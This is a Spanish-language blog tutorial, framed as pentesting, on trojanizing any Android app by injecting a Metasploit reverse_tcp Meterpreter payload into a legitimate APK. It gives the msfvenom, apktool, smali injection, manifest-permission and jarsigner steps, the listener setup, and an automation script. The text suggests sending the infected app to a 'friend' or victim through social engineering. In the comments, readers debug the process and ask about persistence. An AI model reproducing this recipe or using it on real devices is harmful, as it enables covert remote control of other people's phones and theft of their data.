Hacking cualquier Android con Meterpreter en APK

Pentesting con Meterpreter en Cualquier Android APK

Este es otro artículo de cómo podríamos llegar a realizar pentesting a un sistema Android (comprometer dispositivo Android) y obtener una sesión de meterpreter mediante una .apk infectada.

En este tutorial vamos modificar un APK (cualquier aplicación o juego Android) añadiéndole un payload de Metasploit (msf) y posteriormente tener una sesión meterpreter.

1. Introducción al malware en smartphones

El móvil está en todas partes estos días. En cuanto al malware, nuestros amigos de Apple siguen manteniendo el paradigma de intentar examinar todas las aplicaciones que entran en la tienda de aplicaciones de iOS. Aunque se trata de un esfuerzo noble, todavía hay casos en los que el malware se cuela por la puerta.

A diferencia de Apple, el mercado de Android es un enfoque abierto que permite a cualquier persona contribuir a la Play Store y, además, representa la mayor parte de la participación del mercado móvil. Además, hay varios sitios de terceros que permiten la descarga directa de archivos de paquetes de aplicaciones Android (APK).

2. Metasploit y Android

El proyecto Metasploit le permite a un pentester generar cargas útiles (de ahora en adelante ‘payloads’) de Android con un canal de comando meterpreter altamente funcional que se puede cargar en un dispositivo Android. Normalmente, la carga de este APK se realizará a través del depurador de Android “adb“.

Desde la perspectiva de un pen tester, algo divertido de hacer es combinar una aplicación legítima con Meterpreter, y cargarla en un dispositivo Android. Naturalmente, podríamos considerar enviar ese ‘malware‘ a un “amigo” como un regalo o hacerlo mediante ingeniería social.

3. Hacking Android con Metasploit

Las aplicaciones de Android están escritas en Java, que se compilan en un formato ejecutable de Dalvik conocido como DEX. La versión compilada de una aplicación es un archivo ZIP de archivos de bytecode DEX. La máquina virtual Dalvik en Android se reemplazó más recientemente con Android RunTime (ART), que realiza una optimización adicional y compila el código de bytes DEX en un código de ensamblaje nativo.

Smali/baksmali es un ensamblador/desensamblador para el bytecode DEX de Android. Una herramienta de Android llamada “apktool” permite desensamblar DEX comprimidos (archivos APK) en archivos smali, y volver a ensamblar los archivos smali a DEX y, posteriormente, al formato APK comprimido. Podemos usar esta herramienta para desmontar y modificar un archivo APK existente. En este contexto, podemos usar la herramienta para desensamblar y agregar un punto de entrada estático adicional en el código smali del Activity inicial de Android para iniciar nuestro Meterpreter.

En general, los pasos para incrustar un Meterpreter en un archivo APK existente son los siguientes:

  1. Encontrar una aplicación APK de diversión en “apkmirror.com” o en un sitio mirror similar.
  2. Generar el archivo APK Metasploit.
  3. Desmontar con “apktool” el archivo APK Metasploit y el archivo APK que intentas modificar.
  4. Copiar todo el código de smali de Meterpreter en el nuevo directorio smali del APK.
  5. Encontrar el punto de entrada del código dentro del archivo AndroidManifest.xml de la aplicación APK buscando la línea: <action android:name="android.intent.action.MAIN"/>
  6. Modificar el archivo “.smali” del activity para incluir una línea que inicie la etapa del Meterpreter.
  7. Copiar todos los permisos de Meterpreter del AndroidManifest.xml en el AndroidManifest.xml del APK modificado.
  8. Re-ensamblar en formato comprimido DEX.
  9. Firmar el archivo APK recién creado con “jarsigner“, y luego cargar en el dispositivo Android de la víctima.

4. Ejemplo de Payload para Android

Es mucho más fácil entender los pasos anteriores con un ejemplo concreto.

Requisitos:

  • Kali Linux
  • Apktool (Integrada en Kali, pero si surge un problema, descarga aquí)

4.1. Descargar un APK legítimo

Para ilustrar esto, descarga un archivo APK de cualquier juego o aplicación en apkmonk.com, apkmirror.com o utilizando un APK downloader online para las últimas versiones.

En mi caso usaré de ejemplo nuestra app conocida: How to: Guía para Informáticos

Acerca de la App

La app anterior fue retirada de la tienda. Puedes descargar y usar cualquier APK desde tu sitio web favorito. En caso quieras compartir un APKs , puedes usar un servicio como APKnow.one.

Descargar cualquier APK de un sitio mirror
Descargar cualquier APK de un sitio mirror

4.2. Generar tu malware APK

Luego generaré un APK Metasploit usando el comando “msfvenom” de la siguiente manera:

msfvenom -p android/meterpreter/reverse_tcp LHOST=[Tu_IP] LPORT=4444 -o msf.apk
Generar un APK malware con msfvenom
Generar un APK malware con msfvenom

4.3. Desmontar los archivos APK

Ambos archivos (APK ‘original’ y APK ‘malware’) se desmontaron usando “apktool” de la siguiente manera:

apktool d HowToGuiaparaInformaticos_v1.5.apk
apktool d msf.apk
Desmontar o desemsamblar archivos APK
Desmontar o desemsamblar archivos APK

4.4. Copiar el código de malware a la aplicación original

Una forma fácil de hacer esto es cambiar el directorio del Metasploit APK y luego copiar todos los archivos bajo el directorio “smali” en el directorio, para mi caso de ejemplo, HowToGuiaparaInformaticos_v1.5

Un viejo truco que aprendí de un administrador de sistemas para hacer una copia de seguridad de árboles de directorios completos es usar el comando “tar”, ¿cómo así? pues puedes canalizar la salida de tar en un segundo comando que cambia de directorio y “untars” los archivos resultantes.

//Primero ubícate en el directorio de msf
cd msf/
tar -cf - ./smali | (cd ../[CarpetaArchivoOriginal]; tar -xpf - )
Combinar archivo malware en APK
Combinar archivo malware en APK

4.5. Encontrar la Actividad EntryPoint

A continuación podemos ver que la actividad de la entrada aparece como “com.esgeeks.howto_informaticos.ui.activity.IntroActivity“. Lo sabemos porque el XML contiene un filtro con “android.intent.action.MAIN” dentro de él.

grep -B2 "MAIN" AndroidManifest.xml
Encontrar Actividad EntryPoint en Android
Encontrar Actividad Principal en Android

4.6. Modificar el archivo smali del EntryPoint

Como se puede ver arriba, en este caso, el archivo se llama “IntroActivity.smali” (generalmente suelen llamarse “MainActivity.smali”, así que dependerá de la aplicación) y se ubicará en el directorio “com.esgeeks.howto_informaticos.ui.activity” según los puntos (“.”) En la ruta de clase completamente calificada.

Ubicación del archivo de la actividad EntryPoint
Ubicación del archivo de la actividad EntryPoint

Dentro del archivo “IntroActivity.smali“, buscamos el método “onCreate()“.

Necesitamos agregar una sola línea de código justo debajo de la llamada al método “onCreate()” para invocar nuestra etapa Meterpreter.

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

Ten en cuenta que lo anterior es una sola línea de código. El resultado final después de la modificación se verá como la siguiente captura de pantalla.

Agregar código en onCreate() para Meterpreter
Agregar código en onCreate() para Meterpreter

4.7. Agregar permisos al archivo APK modificado “AndroidManifest.xml”

Para el siguiente paso, usa grep para buscar todas las líneas en el archivo “AndroidManfest.xml” del Metasploit (msf.apk) que contienen los strings “uses-permission” y “uses-feature” y luego copiarlas.

cat AndroidManifest.xml | grep "uses-permission"
Strings de uses-permission en Android
Strings de uses-permission en Android

Deberás usar un editor para insertar los permisos en el lugar adecuado en el nuevo archivo “AndroidManifest.xml” (del APK modificado). Busca una línea “uses-permission” existente como tu guía de dónde insertar el texto.

Añadir uses-permission al archivo malware
Añadir uses-permission al archivo malware

Nota

Podría terminar con algunos permisos duplicados. Opcionalmente puedes eliminarlos pero realmente no importa.

4.8. Construir el nuevo archivo de paquete APK

Ahora usa “apktool” de nuevo para volver a ensamblar el archivo resultante del paquete APK. El resultado final se escribirá en un directorio “dist” dentro del propio directorio del APK.

apktool b HowToGuiaparaInformaticos_v1.5
Construir nuevo archivo de paquete APK
Construir nuevo archivo de paquete APK

Si te presenta un error, al igual que me pasó a mi. Agrega este comando y vuelve a ejecutar el anterior:

apktool empty-framework-dir --force

4.9. Vuelva a firmar el archivo del paquete resultante

Un método sencillo es utilizar la “keytool” de Java para generar tu propio repositorio de claves autofirmado y luego firmarlo con la herramienta “jarsigner” como se muestra en las capturas de pantalla a continuación.

keytool -genkey -v -keystore howto.keystore -alias howto -keyalg RSA -keysize 2048 -validity 10000
Claves de autofirmado con keytool
Claves de autofirmado con keytool
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore howto.keystore 
Firmar APK con jarsigner
Firmar APK con jarsigner

Finalmente, el archivo “HowToGuiaparaInformaticos_v1.5.apk” está listo para ser enviado e instalado en un dispositivo Android víctima.

4.10. Obtener una sesión de meterpreter

El paso final es, por supuesto, probar nuestra aplicación recién infectada.

Descubrí entonces que, en el momento en que inicié la app, se obtiene un shell Meterpreter en el sistema KALI. Antes que nada, ejecutamos lo siguiente:

msfconsole
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST "[tu_IP]"
set LPORT "4444"
exploit
Sesión de meterpreter para Android
Sesión de meterpreter para Android

¡Ahora sí! Tenemos acceso remoto al dispositivo Android:

Acceso remoto a dispositivo Android
Acceso remoto a dispositivo Android

5. Conclusión

Tantos pasos complicados … puede salir mal …

Así que después de realizar todos los pasos requeridos anteriormente, me pregunté si había algo más fácil. Hay tantas partes móviles que las posibilidades de error son bastante altas. Es probable que haya otras herramientas disponibles para usar, pero decidí hacer este tutorial explicando un poco a detalle.

En mi búsqueda de encontrar algo más sencillo, me encontré con un script de Python para automatizar este proceso. La herramienta se llama AndroidEmbedIT y esta es definitivamente lo más sencillo para obtener algo sin mucho esfuerzo.

Nota

Para usar android_embedit.py solo debes proporcionar un archivo APK generado por Metasploit, un APK original para modificar y un keystore, realizará todos los pasos de forma automática y generará el resultado final para ti

A continuación se muestra un ejemplo de uso. Todos los archivos temporales y la salida final del APK se almacenarán en el directorio “~/.ae”.

python android_embedit.py -kp howto -kn howto -ks howto.keystore [APK_original] msf.apk
AndroidEmbedIT para hacking de Android
AndroidEmbedIT para hacking de Android

¡Usa esta herramienta con cuidado y nos vemos en un próximo tutorial! Deja tus dudas en los comentarios y comparte este artículo ;’)

  1. Disculpa, me sale un error al ejecutar cualquier comando, “operation failed 1”

    Alguna idea de a qué se deba? No me deja realizar nada, el único comando que funciona es el sysinfo

  2. buenas, me sale el mismo error am momento de empaquetar y cuando pongo esta linea de codigo “apktool empty-framework-dir –force” no me funciona, de todos modos nome empaqueta!

  3. Alexynior todo perfecto, solo en el momento de firmar con la herramienta jarsigner me aparece bash: jarsigner: orden no encontrada.
    se que jarsigner es parte de Java, utilizè el comando update -alternatives –config java para selecionar /usr/lib/jvm/java-11-openjdk-i386/bin/java 1111 modo automático y nada tampoco, no se a que se deba

    nota: aùn no e echo el apt get update y apt get upgrade ¿Serà eso?

  4. Te agradecería enormemente si me ayudaras hablando por discord o por teamviewer, llevo 2 horas intentándolo y no hay manera.

    Al intentarlo con el tutirual completo funciona todo bien pero al abrir la APP deja de funcionar.
    Lo he intentado unas 10 veces con 3 aplicaciones diferentes y todas dejan de funcionar en todos los celulares en los que probé.

    Al hacerlo con el script automático sale esto:

    root@kali:~/Desktop/AndroidEmbedIT# python android_embedit.py -kp howto -kn howto -ks howto.keystore Spotify.apk msf.apk
    [*]===============================
    [*] Android EmbedIt Version 1.0
    [*] Author: Joff Thyer
    [*] Copyright (c) 2018
    [*]===============================

    [*] apktool decompiling [Spotify.apk]
    [*] apktool decompiling [msf.apk]
    [*] Main Activity is: com.spotify.music.MainActivity
    Traceback (most recent call last):
    File “android_embedit.py”, line 224, in
    ae.run()
    File “android_embedit.py”, line 33, in run
    self.modify_entrypoint(main)
    File “android_embedit.py”, line 90, in modify_entrypoint
    self.pdir1 = self.randstr()
    File “android_embedit.py”, line 41, in randstr
    return ”.join(random.choices(chset, k=length))
    AttributeError: ‘module’ object has no attribute ‘choices’

    1. Hola que tal!

      En aplicaciones populares no suele funcionar ya que tiene su código muy seguro. Deberás probar apps pasadas o sin actualizar en mucho tiempo. Lo siento :/

      Te dejo este script que hace el mismo procedimiento. Si ves la sección issues verás que hay usuarios que le suceden lo mismo…

  5. buenas al momento de empaquetar me sale esto no se si es por la apk que no es compatible cosa que pieso que es redundante.

    I: Using Apktool 2.4.1
    I: Checking whether sources has changed…
    I: Smaling smali folder into classes.dex…
    Exception in thread “main” java.lang.OutOfMemoryError: Java heap space
    at org.jf.smali.smaliParser.nonvoid_type_descriptor(smaliParser.java:4551)
    at org.jf.smali.smaliParser.field_reference(smaliParser.java:7833)
    at org.jf.smali.smaliParser.insn_format22c_field(smaliParser.java:13029)
    at org.jf.smali.smaliParser.instruction(smaliParser.java:10807)
    at org.jf.smali.smaliParser.ordered_method_item(smaliParser.java:2027)
    at org.jf.smali.smaliParser.statements_and_directives(smaliParser.java:1747)
    at org.jf.smali.smaliParser.method(smaliParser.java:1543)
    at org.jf.smali.smaliParser.smali_file(smaliParser.java:621)
    at brut.androlib.mod.SmaliMod.assembleSmaliFile(SmaliMod.java:83)
    at brut.androlib.src.SmaliBuilder.buildFile(SmaliBuilder.java:74)
    at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:59)
    at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:36)
    at brut.androlib.Androlib.buildSourcesSmali(Androlib.java:418)
    at brut.androlib.Androlib.buildSources(Androlib.java:349)
    at brut.androlib.Androlib.build(Androlib.java:301)
    at brut.androlib.Androlib.build(Androlib.java:268)
    at brut.apktool.Main.cmdBuild(Main.java:251)
    at brut.apktool.Main.main(Main.java:79)
    espero una pronta respuesta

  6. Hola

    cuando estoy dentro de la sesion y pongo el comando ” ls ” , me aparece esta leyenda ” No entries exist in /data/user/0/com.metasploit.stage/files”

    depues pongo ” cd .. ” para navegar entre las carpetas pero al querer ver los contenidos con ” ls ” me aparece lo siguiente

    stdapi_fs_ls: Operation Failed : 1

  7. En la parte de volver a montar el apk me da eel mismo error que has mencionado pero no lo soluciono poniendo “apktool empty-framework-dir –force” . Gracias

      1. He probado con el mismo APK que tu, he seguido los mismos pasos que en el video. Cuando ejecuto el comando me poner esto “aapt: brut.common.BrutException: brut.common.BrutException: Could not extract resource: /prebuilt/linux/aapt_64 (defaulting to $PATH binary)”

          1. Vale muchas gracias he resuelto ese error , pero en el ultimo paso a la hora de firmar el archivo me dice ‘comand not found” como lo puedo arreglar ? Gracias.

  8. Hola, al momento de colocar ejecutar me aparece esto, estoy usando mi ip publica, ¿que solucion hay?

    Handler failed to bind to IP:4444:- –
    Started reverse TCP handler on 0.0.0.0:4444

    NOTA: Donde dice IP coloque mi ip publica, solo que no la coloco por cuestiones de seguridad

  9. hola, como puedo saber si en mi dispositivo me instalaron el terminal? o me hicieron este procedimiento? si cambio mi ip al reconectarme a internet, el intruso sigue teniendo acceso a mi disposivito o me necesita reinstalar el archivo infectado? sospecho que me atacaron de esta manera aunque el celular en cuestion no lo uso hace unos años y ahora lo volvi a usar porque se rompio el anterior…gracias

  10. Hola

    realice todo como lo dice el tutorial, logre llegar al final sin errores,
    ahora al probar el apk no veo que se conecta con el metasploit, se queda en
    [*] Started reverse TCP handler on 10.0.2.15:4444
    y no se conecta con stage

    que puede estar ocurriendo?

  11. buenas al usar el comando

    jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore howto.keystore

    me dice:

    A1 -keystore howto.keystore
    Please specify jarfile name

    Please type jarsigner –help for usage

    y no me deja mas

  12. Hola buenas, primero decirte que buen trabajo con esta guia para crear una apk funcional maliciosa y por otra parte, necesito una ayuda y es que al ejecutar apktool b apk(funcional) me devuelve una salida larga y no me crea el .apk en el /dist del directorio de la aplicación. Intente el apktool empty-framework-di –force y volvi a ejecutar el anterior y me sigue saliendo lo mismo

    1. actualizacion: era la version del apktool
      Pero tengo otro error al hacer jarsigner commant not found
      He instalado apt install -y default-jdk
      whereis jarsigner -> te devuelve una ruta
      y al intentar realizar el comando de jarsigner me dice que especifique el nombre del archivo

  13. Estimado consulta cómo sería el paso o línea de comando para que la sesión de meterpreter no se pierda si la apk se cierra y mi otra consulta cuál sería la línea de comandos para que los permisos se acepten de forma inmediata??

    1. Hola, esto varia con el dispositivo objetivo. Habría que colocarlo en segundo plano y hacerlo persistente (algo similar a esto, pero es anticuado). En cuanto a la línea de comandos para los permisos automáticos, no es posible. Todo permiso es aceptado en una ventana emergente (ver aquí).

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

Mi Carro Close (×)

Tu carrito está vacío
Ver tienda